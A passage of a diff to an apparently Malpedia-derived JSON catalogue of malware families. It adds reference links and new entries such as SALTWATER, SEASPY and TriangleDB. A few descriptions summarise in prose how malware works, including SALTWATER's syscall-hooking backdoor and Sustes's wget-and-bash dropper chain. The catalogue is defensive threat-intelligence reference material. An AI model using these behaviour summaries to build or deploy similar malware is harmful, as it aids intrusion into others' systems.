"https://storage.courtlistener.com/recap/gov.uscourts.txnd.352371/gov.uscourts.txnd.352371.1.0_1.pdf", + "https://diicot.ro/mass-media/3341-comunicat-de-presa-2-08-11-2021", + "https://analyst1.com/file-assets/History-of-REvil.pdf", + "https://www.fbi.gov/wanted/cyber/yevgyeniy-igoryevich-polyanin", + "https://www.flashpoint-intel.com/blog/revil-disappears-again/", + "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://www.fincen.gov/sites/default/files/advisory/2021-11-08/FinCEN%20Ransomware%20Advisory_FINAL_508_.pdf", + "https://threatpost.com/linux-variant-ransomware-vmwares-nas/167511/", + "https://github.com/f0wl/REconfig-linux", + "https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-shuts-down-again-after-tor-sites-were-hijacked/", "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", - "https://www.elliptic.co/blog/revil-revealed-tracking-ransomware-negotiation-and-payment" + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.youtube.com/watch?v=ptbNMlWxYnE", + "https://www.darkowl.com/blog-content/page-not-found-revil-darknet-services-offline-after-attack-last-weekend", + "https://therecord.media/us-arrests-and-charges-ukrainian-man-for-kaseya-ransomware-attack/", + "https://us-cert.cisa.gov/ncas/current-activity/2021/07/04/cisa-fbi-guidance-msps-and-their-customers-affected-kaseya-vsa", + "https://www.br.de/nachrichten/deutschland-welt/mutmasslicher-ransomware-millionaer-identifiziert,Sn3iHgJ", + "https://twitter.com/VK_Intel/status/1409601311092490248?s=20", + "https://cybersecurity.att.com/blogs/labs-research/revils-new-linux-version", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + "https://www.elliptic.co/blog/revil-revealed-tracking-ransomware-negotiation-and-payment", + "https://storage.courtlistener.com/recap/gov.uscourts.txnd.351760/gov.uscourts.txnd.351760.1.0_3.pdf", + "https://www.darktrace.com/en/blog/staying-ahead-of-r-evils-ransomware-as-a-service-business-model/" ], "synonyms": [ "REvix" @@ -6364,9 +6624,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.rotajakiro", - "https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/", + "https://blog.netlab.360.com/rotajakiro_linux_version_of_oceanlotus/", "https://www.domaintools.com/resources/blog/domaintools-and-digital-archeology-a-look-at-rotajakiro", - "https://blog.netlab.360.com/rotajakiro_linux_version_of_oceanlotus/" + "https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/" ], "synonyms": [], "type": [] @@ -6379,8 +6639,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.royal_ransom", - "https://unit42.paloaltonetworks.com/royal-ransomware/", - "https://www.trendmicro.com/en_us/research/23/b/royal-ransomware-expands-attacks-by-targeting-linux-esxi-servers.html" + "https://www.trendmicro.com/en_us/research/23/b/royal-ransomware-expands-attacks-by-targeting-linux-esxi-servers.html", + "https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/", + "https://unit42.paloaltonetworks.com/royal-ransomware/" ], "synonyms": [ "Royal", @@ -6404,17 +6665,31 @@ "uuid": "4947e9d3-aa13-4359-ac43-c1c436c409c9", "value": "Rshell" }, + { + "description": "According to Mandiant, SALTWATER is a module for the Barracuda SMTP daemon (bsmtpd) that has backdoor functionality. SALTWATER can upload or download arbitrary files, execute commands, and has proxy and tunneling capabilities. The backdoor is implemented using hooks on the send, recv, close syscalls via the 3rd party kubo/funchook hooking library, and amounts to five components, most of which are referred to as \"Channels\" within the binary. In addition to providing backdoor and proxying capabilities, these components exhibit classic backdoor functionality.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.saltwater", + "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally", + "https://www.mandiant.com/resources/blog/chinese-espionage-tactics" + ], + "synonyms": [], + "type": [] + }, + "uuid": "d55ea436-b2c1-400c-99dc-6e35bc05438b", + "value": "SALTWATER" + }, { "description": "Satori is a variation of elf.mirai which was first detected around 2017-11-27 by 360 Netlab. It uses exploit to exhibit worm-like behaviour to spread over ports 37215 and 52869 (CVE-2014-8361).", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.satori", - "https://unit42.paloaltonetworks.com/satori-mirai-botnet-variant-targeting-vantage-velocity-field-unit-rce-vulnerability/", - "https://www.arbornetworks.com/blog/asert/the-arc-of-satori/", "http://www.eweek.com/security/collaborative-takedown-kills-iot-worm-satori", "http://blog.netlab.360.com/warning-satori-a-new-mirai-variant-is-spreading-in-worm-style-on-port-37215-and-52869-en/", - "https://krebsonsecurity.com/2018/09/alleged-satori-iot-botnet-operator-sought-media-spotlight-got-indicted/", + "https://www.arbornetworks.com/blog/asert/the-arc-of-satori/", "https://blog.radware.com/security/botnets/2018/02/new-satori-botnet-variant-enslaves-thousands-dasan-wifi-routers/", + "https://unit42.paloaltonetworks.com/satori-mirai-botnet-variant-targeting-vantage-velocity-field-unit-rce-vulnerability/", + "https://krebsonsecurity.com/2018/09/alleged-satori-iot-botnet-operator-sought-media-spotlight-got-indicted/", "http://blog.netlab.360.com/art-of-steal-satori-variant-is-robbing-eth-bitcoin-by-replacing-wallet-address-en/" ], "synonyms": [], @@ -6428,9 +6703,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.sbidiot", + "https://brianstadnicki.github.io/posts/malware-sbidiot-dec2021/", "https://www.nozominetworks.com/blog/threat-intelligence-analysis-of-the-sbidiot-iot-malware/", - "https://www.nozominetworks.com/blog/how-iot-botnets-evade-detection-and-analysis/", - "https://brianstadnicki.github.io/posts/malware-sbidiot-dec2021/" + "https://www.nozominetworks.com/blog/how-iot-botnets-evade-detection-and-analysis/" ], "synonyms": [], "type": [] @@ -6438,6 +6713,22 @@ "uuid": "b4c20cf4-8e94-4523-8d48-7781aab6785d", "value": "SBIDIOT" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.seaspy", + "https://www.cisa.gov/news-events/analysis-reports/ar23-209b", + "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally", + "https://www.cisa.gov/news-events/alerts/2023/07/28/cisa-releases-malware-analysis-reports-barracuda-backdoors", + "https://www.mandiant.com/resources/blog/chinese-espionage-tactics" + ], + "synonyms": [], + "type": [] + }, + "uuid": "a6699c42-69d8-4bdd-8dd9-72f4c80efefa", + "value": "SEASPY" + }, { "description": "", "meta": { @@ -6469,7 +6760,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.sidewalk", - "https://www.welivesecurity.com/2022/09/14/you-never-walk-alone-sidewalk-backdoor-linux-variant/" + "https://www.welivesecurity.com/2022/09/14/you-never-walk-alone-sidewalk-backdoor-linux-variant/", + "https://www.mandiant.com/resources/blog/chinese-espionage-tactics" ], "synonyms": [], "type": [] @@ -6511,9 +6803,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.sowat", + "https://blog.sekoia.io/my-teas-not-cold-an-overview-of-china-cyber-threat/", "https://twitter.com/billyleonard/status/1417910729005490177", - "https://www.cert.ssi.gouv.fr/ioc/CERTFR-2021-IOC-003", "https://twitter.com/bkMSFT/status/1417823714922610689", + "https://www.cert.ssi.gouv.fr/ioc/CERTFR-2021-IOC-003", "https://imp0rtp3.wordpress.com/2021/11/25/sowat/" ], "synonyms": [], @@ -6553,8 +6846,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.specter", - "https://blog.netlab.360.com/the-pitfall-of-threat-intelligence-whitelisting-specter-botnet-is-taking-over-top-legit-dns-domains-by-using-cloudns-service/", - "https://blog.netlab.360.com/ghost-in-action-the-specter-botnet/" + "https://blog.netlab.360.com/ghost-in-action-the-specter-botnet/", + "https://blog.netlab.360.com/the-pitfall-of-threat-intelligence-whitelisting-specter-botnet-is-taking-over-top-legit-dns-domains-by-using-cloudns-service/" ], "synonyms": [], "type": [] @@ -6577,6 +6870,19 @@ "uuid": "df23ae3a-e10d-4c49-b379-2ea2fd1925af", "value": "Speculoos" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.spry_socks", + "https://www.trendmicro.com/en_us/research/23/i/earth-lusca-employs-new-linux-backdoor.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "3b5c485b-b6a6-4586-a7dc-9e23a3b0aa5a", + "value": "SprySOCKS" + }, { "description": "", "meta": { @@ -6596,12 +6902,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.stantinko", - "https://www.welivesecurity.com/2019/11/26/stantinko-botnet-adds-cryptomining-criminal-activities/", - "https://www.intezer.com/blog/research/stantinkos-proxy-after-your-apache-server/", - "https://www.welivesecurity.com/2020/03/19/stantinko-new-cryptominer-unique-obfuscation-techniques/", - "https://www.welivesecurity.com/2020/08/07/stadeo-deobfuscating-stantinko-and-more/", + "https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/", "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/" + "https://www.welivesecurity.com/2019/11/26/stantinko-botnet-adds-cryptomining-criminal-activities/", + "https://www.welivesecurity.com/2020/08/07/stadeo-deobfuscating-stantinko-and-more/", + "https://www.welivesecurity.com/2020/03/19/stantinko-new-cryptominer-unique-obfuscation-techniques/", + "https://www.intezer.com/blog/research/stantinkos-proxy-after-your-apache-server/" ], "synonyms": [], "type": [] @@ -6614,10 +6920,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.steelcorgi", - "https://www.fireeye.com/blog/threat-research/2020/11/live-off-the-land-an-overview-of-unc1945.html", - "https://www.mandiant.com/resources/unc2891-overview", "https://yoroi.company/research/opening-steelcorgi-a-sophisticated-apt-swiss-army-knife/", - "https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/" + "https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/", + "https://www.fireeye.com/blog/threat-research/2020/11/live-off-the-land-an-overview-of-unc1945.html", + "https://www.mandiant.com/resources/unc2891-overview" ], "synonyms": [], "type": [] @@ -6639,7 +6945,7 @@ "value": "Sunless" }, { - "description": "Sustes Malware doesn’t infect victims by itself (it’s not a worm) but it is spread over exploitation and brute-force activities with special focus on IoT and Linux servers. The initial infection stage comes from a custom wget directly on the victim machine followed by a simple /bin/bash mr.sh. The script is a simple bash script which drops and executes additional software. ", + "description": "Sustes Malware doesn\u2019t infect victims by itself (it\u2019s not a worm) but it is spread over exploitation and brute-force activities with special focus on IoT and Linux servers. The initial infection stage comes from a custom wget directly on the victim machine followed by a simple /bin/bash mr.sh. The script is a simple bash script which drops and executes additional software. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.sustes", @@ -6671,7 +6977,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.sword2033", - "https://unit42.paloaltonetworks.com/alloy-taurus/" + "https://unit42.paloaltonetworks.com/alloy-taurus/", + "https://blog.sekoia.io/my-teas-not-cold-an-overview-of-china-cyber-threat/" ], "synonyms": [], "type": [] @@ -6684,9 +6991,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.symbiote", + "https://www.trendmicro.com/en_us/research/23/g/detecting-bpfdoor-backdoor-variants-abusing-bpf-filters.html", "https://www.intezer.com/blog/incident-response/orbit-new-undetected-linux-threat/", - "https://cybergeeks.tech/how-to-analyze-linux-malware-a-case-study-of-symbiote/", "https://blogs.blackberry.com/en/2022/06/symbiote-a-new-nearly-impossible-to-detect-linux-threat", + "https://cybergeeks.tech/how-to-analyze-linux-malware-a-case-study-of-symbiote/", "https://cybergeeks.tech/how-to-analyze-linux-malware-a-case-study-of-symbiote" ], "synonyms": [], @@ -6715,10 +7023,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.sysrvhello", - "https://www.lacework.com/sysrv-hello-expands-infrastructure/", + "https://darktrace.com/blog/worm-like-propagation-of-sysrv-hello-crypto-jacking-botnet", "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", "https://www.riskiq.com/blog/external-threat-management/sysrv-hello-cryptojacking-botnet/", - "https://darktrace.com/blog/worm-like-propagation-of-sysrv-hello-crypto-jacking-botnet" + "https://www.lacework.com/sysrv-hello-expands-infrastructure/" ], "synonyms": [ "Sysrv" @@ -6733,28 +7041,29 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.teamtnt", - "https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf", - "https://www.cadosecurity.com/2020/08/17/teamtnt-the-first-crypto-mining-worm-to-steal-aws-credentials/", - "https://www.intezer.com/blog/malware-analysis/teamtnt-cryptomining-explosion/", - "https://blog.aquasec.com/teamtnt-campaign-against-docker-kubernetes-environment", - "https://sysdig.com/blog/teamtnt-aws-credentials/", - "https://www.cyberark.com/resources/threat-research-blog/conti-group-leaked", - "https://www.uptycs.com/blog/team-tnt-deploys-malicious-docker-image-on-docker-hub-with-pentesting-tools", - "https://cybersecurity.att.com/blogs/labs-research/teamtnt-with-new-campaign-aka-chimaera", - "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", "https://tolisec.com/active-crypto-mining-operation-by-teamtnt/", - "https://www.trendmicro.com/en_us/research/21/l/more-tools-in-the-arsenal-how-teamtnt-used-compromised-docker-hu.html", - "https://www.lacework.com/teamtnt-builds-botnet-from-chinese-cloud-servers/", + "https://www.uptycs.com/blog/team-tnt-deploys-malicious-docker-image-on-docker-hub-with-pentesting-tools", "https://unit42.paloaltonetworks.com/atoms/adept-libra/", - "https://www.cadosecurity.com/post/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials", - "https://www.anomali.com/blog/inside-teamtnts-impressive-arsenal-a-look-into-a-teamtnt-server", - "https://www.intezer.com/wp-content/uploads/2021/09/TeamTNT-Cryptomining-Explosion.pdf", - "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/", - "https://www.cadosecurity.com/teamtnt-script-employed-to-grab-aws-credentials/", - "https://cybersecurity.att.com/blogs/labs-research/teamtnt-delivers-malware-with-new-detection-evasion-tool", - "https://www.trendmicro.com/en_ae/research/21/k/teamtnt-upgrades-arsenal-refines-focus-on-kubernetes-and-gpu-env.html", "https://unit42.paloaltonetworks.com/atoms/thieflibra/", - "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/" + "https://www.intezer.com/wp-content/uploads/2021/09/TeamTNT-Cryptomining-Explosion.pdf", + "https://blog.aquasec.com/teamtnt-campaign-against-docker-kubernetes-environment", + "https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf", + "https://malpedia.caad.fkie.fraunhofer.de/details/elf.teamtnt", + "https://www.cadosecurity.com/teamtnt-script-employed-to-grab-aws-credentials/", + "https://cybersecurity.att.com/blogs/labs-research/teamtnt-with-new-campaign-aka-chimaera", + "https://www.cadosecurity.com/post/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials", + "https://www.cadosecurity.com/2020/08/17/teamtnt-the-first-crypto-mining-worm-to-steal-aws-credentials/", + "https://sysdig.com/blog/teamtnt-aws-credentials/", + "https://cybersecurity.att.com/blogs/labs-research/teamtnt-delivers-malware-with-new-detection-evasion-tool", + "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/", + "https://www.lacework.com/teamtnt-builds-botnet-from-chinese-cloud-servers/", + "https://www.trendmicro.com/en_ae/research/21/k/teamtnt-upgrades-arsenal-refines-focus-on-kubernetes-and-gpu-env.html", + "https://www.anomali.com/blog/inside-teamtnts-impressive-arsenal-a-look-into-a-teamtnt-server", + "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", + "https://www.cyberark.com/resources/threat-research-blog/conti-group-leaked", + "https://www.trendmicro.com/en_us/research/21/l/more-tools-in-the-arsenal-how-teamtnt-used-compromised-docker-hu.html", + "https://www.intezer.com/blog/malware-analysis/teamtnt-cryptomining-explosion/", + "https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf" ], "synonyms": [], "type": [] @@ -6767,8 +7076,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.themoon", - "https://www.fortinet.com/blog/threat-research/themoon-a-p2p-botnet-targeting-home-routers", - "https://www.sans.org/reading-room/whitepapers/malicious/analyzing-backdoor-bot-mips-platform-35902" + "https://www.sans.org/reading-room/whitepapers/malicious/analyzing-backdoor-bot-mips-platform-35902", + "https://www.fortinet.com/blog/threat-research/themoon-a-p2p-botnet-targeting-home-routers" ], "synonyms": [], "type": [] @@ -6781,8 +7090,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.tntbotinger", - "https://www.trendmicro.com/en_us/research/20/l/teamtnt-now-deploying-ddos-capable-irc-bot-tntbotinger.html", - "https://www.lacework.com/teamtnt-builds-botnet-from-chinese-cloud-servers/" + "https://www.lacework.com/teamtnt-builds-botnet-from-chinese-cloud-servers/", + "https://www.trendmicro.com/en_us/research/20/l/teamtnt-now-deploying-ddos-capable-irc-bot-tntbotinger.html" ], "synonyms": [], "type": [] @@ -6821,18 +7130,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.tscookie", - "https://blogs.jpcert.or.jp/en/2020/03/elf-tscookie.html", "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_0_JPCERT_en.pdf", "https://www.macnica.net/pdf/mpressioncss_ta_report_2019_4_en.pdf", - "https://www.macnica.net/file/mpressioncss_ta_report_2019_2_nopw.pdf", + "https://jp.security.ntt/resources/EN-BlackTech_2021.pdf", + "https://twitter.com/ESETresearch/status/1382054011264700416", "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape", "https://www.macnica.net/file/mpressioncss_ta_report_2019_4.pdf", - "https://twitter.com/ESETresearch/status/1382054011264700416", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", - "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", - "https://www.cyberandramen.net/home/blacktech-doesnt-miss-a-step-a-quick-analysis-of-a-busy-2020", "https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/", - "https://jp.security.ntt/resources/EN-BlackTech_2021.pdf" + "https://www.cyberandramen.net/home/blacktech-doesnt-miss-a-step-a-quick-analysis-of-a-busy-2020", + "https://www.macnica.net/file/mpressioncss_ta_report_2019_2_nopw.pdf", + "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", + "https://blogs.jpcert.or.jp/en/2020/03/elf-tscookie.html" ], "synonyms": [], "type": [] @@ -6858,28 +7167,29 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.tsunami", + "https://blogs.juniper.net/en-us/security/muhstik-gang-targets-redis-servers", + "https://sysdig.com/blog/muhstik-malware-botnet-analysis/", + "http://get.cyberx-labs.com/radiation-report", "https://threatpost.com/muhstik-botnet-exploits-highly-critical-drupal-bug/131360/", - "https://www.cadosecurity.com/analysis-of-initial-in-the-wild-attacks-exploiting-log4shell-log4j-cve-2021-44228/", + "https://asec.ahnlab.com/en/54647/", + "https://www.intezer.com/wp-content/uploads/2021/09/TeamTNT-Cryptomining-Explosion.pdf", "https://www.lacework.com/meet-muhstik-iot-botnet-infecting-cloud-servers/", - "https://blog.aquasec.com/fileless-malware-container-security", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", "https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/", "https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775", - "https://www.lacework.com/blog/muhstik-takes-aim-at-confluence-cve-2021-26084/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", "https://medium.com/s2wblog/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-en-809064312039", - "https://blog.aquasec.com/8220-gang-confluence-vulnerability-cve-2022-26134", - "https://blog.aquasec.com/new-malware-in-the-cloud-by-teamtnt", - "https://sysdig.com/blog/muhstik-malware-botnet-analysis/", - "https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks", - "http://get.cyberx-labs.com/radiation-report", - "https://www.bleepingcomputer.com/news/security/log4shell-exploits-now-used-mostly-for-ddos-botnets-cryptominers/", + "https://www.cadosecurity.com/teamtnt-script-employed-to-grab-aws-credentials/", "https://www.fortinet.com/blog/threat-research/recent-attack-uses-vulnerability-on-confluence-server", - "https://blogs.juniper.net/en-us/security/muhstik-gang-targets-redis-servers", - "http://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/", - "https://www.intezer.com/wp-content/uploads/2021/09/TeamTNT-Cryptomining-Explosion.pdf", + "https://blog.aquasec.com/8220-gang-confluence-vulnerability-cve-2022-26134", + "https://www.lacework.com/blog/muhstik-takes-aim-at-confluence-cve-2021-26084/", + "https://www.bleepingcomputer.com/news/security/log4shell-exploits-now-used-mostly-for-ddos-botnets-cryptominers/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks", "https://tolisec.com/multi-vector-minertsunami-botnet-with-ssh-lateral-movement/", - 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"https://blog.nsfocusglobal.com/threats/vulnerability-analysis/analysis-report-of-the-xorddos-malware-family/", - "https://www.intezer.com/blog/malware-analysis/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/", - "https://www.lacework.com/groundhog-botnet-rapidly-infecting-cloud/", + "https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775", "https://www.microsoft.com/security/blog/2022/05/19/rise-in-xorddos-a-deeper-look-at-the-stealthy-ddos-malware-targeting-linux-devices/", - "http://blog.malwaremustdie.org/2014/09/mmd-0028-2014-fuzzy-reversing-new-china.html", + "https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-decrypt-a-string-array-in-xor-ddos/", + "https://www.crowdstrike.com/blog/linux-targeted-malware-increased-by-35-percent-in-2021/", + "https://bartblaze.blogspot.com/2015/09/notes-on-linuxxorddos.html", + "https://www.lacework.com/groundhog-botnet-rapidly-infecting-cloud/", + "https://blog.nsfocusglobal.com/threats/vulnerability-analysis/analysis-report-of-the-xorddos-malware-family/", + "https://blog.checkpoint.com/wp-content/uploads/2015/10/sb-report-threat-intelligence-groundhog.pdf", + "https://www.intezer.com/blog/malware-analysis/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/", + "https://www.botconf.eu/wp-content/uploads/2015/12/OK-P13-Liu-Ya-Automatically-Classify-Unknown-Bots-by-The-Register-Messages.pdf", + "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf", "https://www.fireeye.com/blog/threat-research/2015/02/anatomy_of_a_brutef.html", - "https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&linkId=131648775" + "https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers/", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2015/KalnaiHorejsi-VB2015.pdf", + "http://blog.malwaremustdie.org/2014/09/mmd-0028-2014-fuzzy-reversing-new-china.html", + "https://en.wikipedia.org/wiki/Xor_DDoS" ], "synonyms": [ "XORDDOS" @@ -7305,7 +7631,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/elf.zuo_rat", - "https://blog.lumen.com/zuorat-hijacks-soho-routers-to-silently-stalk-networks/" + "https://blog.lumen.com/zuorat-hijacks-soho-routers-to-silently-stalk-networks/", + "https://www.mandiant.com/resources/blog/chinese-espionage-tactics" ], "synonyms": [], "type": [] @@ -7318,8 +7645,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/fas.acad", - "https://github.com/Hopfengetraenk/Fas-Disasm", - "https://www.forcepoint.com/blog/security-labs/autocad-malware-computer-aided-theft" + "https://www.forcepoint.com/blog/security-labs/autocad-malware-computer-aided-theft", + "https://github.com/Hopfengetraenk/Fas-Disasm" ], "synonyms": [ "Acad.Bursted", @@ -7361,9 +7688,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/ios.lightspy", - "https://securelist.com/ios-exploit-chain-deploys-lightspy-malware/96407/", + "https://documents.trendmicro.com/assets/Tech-Brief-Operation-Poisoned-News-Hong-Kong-Users-Targeted-with-Mobile-Malware-via-Local-News-Links.pdf", "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-poisoned-news-hong-kong-users-targeted-with-mobile-malware-via-local-news-links/", - "https://documents.trendmicro.com/assets/Tech-Brief-Operation-Poisoned-News-Hong-Kong-Users-Targeted-with-Mobile-Malware-via-Local-News-Links.pdf" + "https://securelist.com/ios-exploit-chain-deploys-lightspy-malware/96407/" ], "synonyms": [], "type": [] @@ -7416,6 +7743,19 @@ "uuid": "25bff9ad-20dc-4746-a174-e54fcdd8f0c1", "value": "Postlo" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/ios.triangledb", + "https://securelist.com/triangledb-triangulation-implant/110050/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "25754894-018b-4bed-aab6-c676fac23a77", + "value": "TriangleDB" + }, { "description": "The iOS malware that is installed over USB by osx.wirelurker", "meta": { @@ -7448,21 +7788,21 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.adwind", - "https://research.checkpoint.com/malware-against-the-c-monoculture/", - "https://dissectingmalware.blogspot.com/2018/08/export-jratadwind-config-with-x32dbg.html", - "https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/", - "https://www.securityinbits.com/malware-analysis/interesting-tactic-by-ratty-adwind-distribution-of-jar-appended-to-signed-msi/", + "http://malware-traffic-analysis.net/2017/07/04/index.html", "https://www.zscaler.com/blogs/research/compromised-wordpress-sites-used-distribute-adwind-rat", - "https://blog.talosintelligence.com/2018/09/adwind-dodgesav-dde.html", + "https://blogs.seqrite.com/evolution-of-jrat-java-malware/", + "https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/", + "https://marcoramilli.com/2018/08/20/interesting-hidden-threat-since-years/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://dissectingmalware.blogspot.com/2018/08/export-jratadwind-config-with-x32dbg.html", + "https://gist.github.com/herrcore/8336975475e88f9bc539d94000412885", + "https://citizenlab.ca/2015/12/packrat-report/", + "https://research.checkpoint.com/malware-against-the-c-monoculture/", "http://blog.trendmicro.com/trendlabs-security-intelligence/spam-remote-access-trojan-adwind-jrat", "https://www.fortinet.com/blog/threat-research/new-jrat-adwind-variant-being-spread-with-package-delivery-scam.html", - "https://citizenlab.ca/2015/12/packrat-report/", - "https://blogs.seqrite.com/evolution-of-jrat-java-malware/", - "http://malware-traffic-analysis.net/2017/07/04/index.html", - "https://marcoramilli.com/2018/08/20/interesting-hidden-threat-since-years/", + "https://blog.talosintelligence.com/2018/09/adwind-dodgesav-dde.html", "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://gist.github.com/herrcore/8336975475e88f9bc539d94000412885" + "https://www.securityinbits.com/malware-analysis/interesting-tactic-by-ratty-adwind-distribution-of-jar-appended-to-signed-msi/" ], "synonyms": [ "AlienSpy", @@ -7495,10 +7835,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/jar.banload", - "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf", - "https://colin.guru/index.php?title=Advanced_Banload_Analysis", "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=TrojanDownloader%3AWin32%2FBanload", - "https://www.welivesecurity.com/wp-content/uploads/2015/05/CPL-Malware-in-Brasil-zx02m.pdf" + "https://www.welivesecurity.com/wp-content/uploads/2015/05/CPL-Malware-in-Brasil-zx02m.pdf", + 